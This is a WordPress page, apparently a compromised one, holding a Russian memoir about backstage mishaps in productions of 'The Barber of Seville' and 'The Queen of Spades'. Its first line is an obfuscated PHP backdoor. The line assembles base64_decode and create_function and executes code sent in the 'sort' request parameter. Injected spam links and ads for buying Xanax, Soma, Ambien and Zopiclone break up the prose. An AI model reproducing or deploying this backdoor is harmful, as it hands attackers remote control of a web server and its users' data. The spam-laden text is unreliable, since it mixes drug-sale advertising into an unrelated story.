nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ОПЕРНЫЕ ЗАПИСКИ


" Я  к  вам  пишу  –  чего  же  боле ? "
               в  опере "Евгений Онегин"  это  –  " http://terranealife.com/ с ц е н а   п и с ь м а" Татьяны"

 Кто-то http://chelseafc360.com/posts/forget-stones-chelsea-set-to-completes-transfer-6ft-1-argentine-star-ahead-of-weekend-match/ РОЗИНА,  а   я  – РАЗИНЯ  !
               самокритика

         Театральная  жизнь  кишит  байками  о  так  называемых  н а к л а д к а х – технических  ( вплоть  до  аварийных ),  и  семантических (смысловых), вызывающих  сдержанно-гомерический  хохот  в  зале. Это  происходит  от  присущей  людям  невнимательности, безответственности  и, увы! (спаси  и сохрани !) –  от  заведомого  злорадства. Я  бы  сказала,  что   http://weplaydrums.com/lessons/ н а к л а д к и   в  театральной  жизни  в  общем  и  целом  –  это тестирование  людей  на  идиотизм.
   Вот  одна,  например, из  свежих  оперных накладок, рассказанная  нашим  сыном  и  полученная  им  недавно  "из  первых  рук".

     В  последнем  акте  "Пиковой  дамы"  что-то  немыслимое  нашло  на  явившуюся  Герману  старушку-привидение (а может, молодушку),  и  она,  выдавая  Герману  тайну  трёх  карт,  пропела:
 — …  тройка, шестёрка, туз . . .
   А обескураженный  этим  Герман,  который,  по  тексту,  должен  лихорадочно  это  повторять,  так  и вынужден  был  делать –  повторять:
— … тройка, Buy Xanax 0.25 Mg шестёрка, туз . . .  тройка, шестёрка, туз …
  Благо  это  было  на  гастролях,  и  зрителям,  точнее,  слушателям  были  "по  барабану"  такие  тонкости   именования  карт,  которые  только  русскоязычных  повергли  в  шок.

   В  моей  же  бурной  театральной  юности  тоже  был  случай,  когда  я  чуть  было  не  внесла  своей  лепты  в  копилку  оперных курьёзов.

    Что,  я  вас  спрашиваю,  связывает  весёлого  и  находчивого  графа   Альмавива  из  "Севильского  цирюльника"  и  несчастного  неудачника  Германа  из  только  что  упомянутой "Пиковой  дамы" ? Ну,  кроме  того,  что  они  –  тенора ? Ну,  с  точки  зрения  бутафора-реквизитора ?
    Отвечаю: Buy Soma London Online з а п и с к и !
    И  тот  и  другой  читают  вслух   с т р а с т н ы е   з а п и с к и   от  своих  партнёрш-героинь: Альмавива  в  начале   своей  оперы – от  Розины; Герман  в  последнем  акте  своей  оперы  – от  Лизы.

    Когда  я  работала  на  этих  спектаклях.  то  эти  записки  мне  самой  регулярно  приходилось  писать  на  листе  А-4  крупными  буквами,  так  как  эти  листочки  после  двух-трёх  спектаклей   приходили  в  негодность.  Я,  каждый  раз   н а и з у с т ь  их  каллиграфически  вырисовывая, чувствовала  себя  казачиной  (с  известной  картины  Репина), который пишет  письмо  турецкому  султану: я  про  себя  хохотала  и  умилялась  своему  такому  принципиальному  участию  в  оперной  драматической  интриге. И  вот  однажды  этому  моему  писательскому   кайфу  пришёл  конец.

    "Севильский  цирюльник". Прошла  знаменитая  увертюра  Россини, раскрылся  занавес.В  полумраке  высвечен  балкон  на  трёхметровой  высоте, а  надо  сказать, к  перилам   этого  балкона  в  условленном  месте  незаметно  прикреплялась  записка,  которую  Розина  должна  сбросить  возлюбленному.
      И  вдруг  я,  сидя  в  своей  реквизиторской  каморке,  задумалась: да  почему  же  записка  Розины –
           " …я   не  могу  выходить  на  балкон  одна  . . .  мой  опекун  скоро  уйдёт  . . . несчастная  Розина,"
–  почему  эта  записка,  когда  я  её  прикрепляла  к  балкону,  была   без  приклеенного Ambien Buy Mail Order грузика (чтобы  бумажка  лучше  летела  к  ногам  тенора) ?
    И  тут  я  похолодела,  судорожно  развернув   лежащую  передо  мной  записку: она  же  должна  быть  не  в  моих  руках, а  в  руках  солистов ! А  надо  сказать,  что  я   написала  перед  спектаклем  обе  записки  сразу:  и  Розины  к  Альмавиве,  и  Лизы   к  Герману –  довольно  объёмный  текст:

                  "Я  не  верю,  чтобы  ты  хотел  смерти  графини,
                   я  измучилась  сознанием  своей  вины  перед  тобой…
                   ……………………………………………………………………………
                  сегодня  жду  тебя  на  набережной…
                  ……………………………………………………..
                   если  до  полуночи  ты  не  придёшь …
                  …………………………………………………….. "

       Значит,  я  на  балконе  для  Розины  положила  записку  Лизы  для  Германа  из  "Пиковой  дамы" !

   … На  ватных  ногах  меня  вынесло  в  кулису :  нельзя  ли  тихонько  пробраться  на  декорацию  балкона  и   исправить  предстоящий  ужас ? Нет  –  будет заметно  и  будет  ещё  смешнее.  Оставалось  уповать  на  профессионализм  Константина Плужникова ( именно  он  и  пел  Альмавиву).
     Слава  Богу,  конфуза  не  произошло. Певец, развернув  записку,  произнёс  текст  Альмавивы  н а и з у с т ь. Но  ему  достаточно было  бы (чего  не  произошло!) одним  "хапком"  взгляда  осознать   более  обширный,  чем  надо,  текст,  чтобы  прибалдеть  и   хотя  бы  за  кулисами,  после  законной  взбучки  бутафорам-реквизиторам  превратить  это  в  очередной  сюжет   театральных  баек. Что  я  сейчас,  хоть  с  опозданием  более  чем  на  сорок  лет,  это  и  делаю.

@@@@@@@@@@@@@@@@@@@@@@@@@

анонс: Buy Cheapest Zopiclone Online ДА  КТО  Ж  ТАКОЙ http://code-pages.com/tag/design/ СЛОВУЩИЙ ?феномен "поручика Киже"
 


Добавить комментарий